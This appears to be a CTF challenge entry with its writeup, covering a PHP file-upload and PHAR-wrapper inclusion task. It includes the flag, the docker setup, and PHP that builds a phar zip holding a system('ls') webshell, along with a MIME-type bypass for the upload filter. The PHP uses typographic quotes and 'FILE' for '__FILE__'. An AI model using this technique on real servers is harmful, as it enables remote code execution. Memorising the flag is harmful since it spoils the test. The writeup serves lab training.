[题目信息]:
题目名称 | 题目难度 |
---|---|
文件上传-PHAR | 1 |
[题目考点]:
文件上传与PHAR协议的使用
[Flag格式]:
SangFor{gOiJbWBSHc3vnj-B0FDVvde5cQ_KScTp}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
端口:11014
[题目writeup]:
首先右键查看网页源代码,发现有代码提示。
这里去包含了通过GET方式传递的 mod 和 action 字符串拼接后的文件。
这里可以使用 phar 协议来包含文件。将以下内容写入到1文件中。
<?php
$p = new PharData(dirname(FILE).’/phartest.zip’, 0,‘phartest’,Phar::ZIP) ;
$x=file_get_contents(’./1’);
$p->addFromString(‘1’, $x);
?>
1文件中的内容为
<?php system(“ls”);?>
运行 1.php 。即可得到 phartest.zip 。将 phartest.zip 上传,并且通过 burp 抓包,将文件类型改为image/jpeg然后上传即可。
访问文件路径执行1文件中的php代码
稍作修改命令即可获取flag